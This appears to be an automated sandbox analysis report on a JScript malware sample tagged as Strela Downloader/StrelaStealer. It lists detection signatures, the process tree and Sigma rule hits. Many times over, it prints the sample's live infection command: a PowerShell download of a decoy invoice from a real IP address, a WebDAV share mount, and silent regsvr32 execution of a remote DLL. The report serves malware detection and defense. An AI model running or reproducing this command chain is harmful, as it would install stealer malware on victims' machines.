Edit tour

Windows Analysis Report
1178918864369817238.js

Overview

General Information

Sample name:	1178918864369817238.js
Analysis ID:	1589861
MD5:	723a8a811ac25f7278e8d7b53b2ce350
SHA1:	67a2ae3ea49ea7ad0058ed350630864266ccdf1c
SHA256:	39f3c9a4dd4dc7d58107638c468ef53be4ed0ef158986f66a5fded9f12801ae5
Tags:	jsStrelaStealeruser-cocaman
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Multi AV Scanner detection for submitted file

Sigma detected: Powershell launch regsvr32

Yara detected Strela Downloader

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: Use Short Name Path in Command Line

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7348 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7476 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7484 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7520 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 7748 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7980 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 1196 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2132 --field-trial-handle=1592,i,14076996108067993312,10900582542575135991,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 7784 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 7880 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 8056 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7348	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ProcessId: 7348, ProcessName: wscript.exe

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ProcessId: 7476, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ProcessId: 7476, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ProcessId: 7476, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ProcessId: 7476, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ProcessId: 7476, ProcessName: cmd.exe

Sigma detected: Use Short Name Path in Command Line

Source: Process started

Author: frack113, Nasreddine Bencherchali: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ProcessId: 7476, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4056, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ProcessId: 7348, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7476, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7520, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7784, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7880, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 8056, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7784, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 7880, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1178918864369817238.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7348, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll, ProcessId: 7476, ProcessName: cmd.exe

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: 1178918864369817238.js	Virustotal: Detection: 14%			Perma Link
Source: 1178918864369817238.js	ReversingLabs: Detection: 13%

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 1178918864369817238.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 1178918864369817238.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: wscript.exe, 00000000.00000002.1316760754.0000026707C56000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D52D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000008.00000003.1414379952.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/2%I
Source: net.exe, 00000008.00000003.1414379952.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/YJ
Source: net.exe, 00000008.00000003.1414379952.000001455D538000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000008.00000002.1427292023.000001455D538000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/yJ
Source: svchost.exe, 0000000A.00000002.2607418707.0000011CF0200000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.9.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.10.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.9.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod1C:
Source: svchost.exe, 0000000A.00000003.1412420950.0000011CF00D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.10.dr, qmgr.db.10.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV21C:
Source: qmgr.db.10.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe1C:
Source: ReaderMessages.6.dr	String found in binary or memory: https://www.adobe.co

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 7348, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17944365511329.dll
